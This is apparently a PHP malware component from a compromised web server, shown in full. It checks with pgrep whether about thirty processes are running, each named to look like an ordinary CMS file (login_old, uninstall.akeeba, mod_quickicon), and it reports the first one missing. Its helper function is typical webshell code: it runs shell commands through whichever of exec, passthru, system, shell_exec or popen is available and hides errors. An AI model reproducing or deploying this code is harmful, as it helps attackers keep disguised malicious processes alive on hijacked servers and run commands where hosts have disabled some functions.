<?php   $files = ['calligra','protection','autoloader','usergroup_16','login_old','index.bak','trackback5','index.1317078588','mysqldatabase','post_buttons','ebank_validation','block_mnet_hosts','mod_quickicon','addnewfield','uninstall.akeeba','webdb_view_test','upload_events','functions.filter','frontpagepro','servers.inc','profileinfo','admin.admin.html','default_message','charsets','TAMARecord.class','admin.extplorer','russian_mimes','PurifierLinkify','abusedetails','shop_give']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }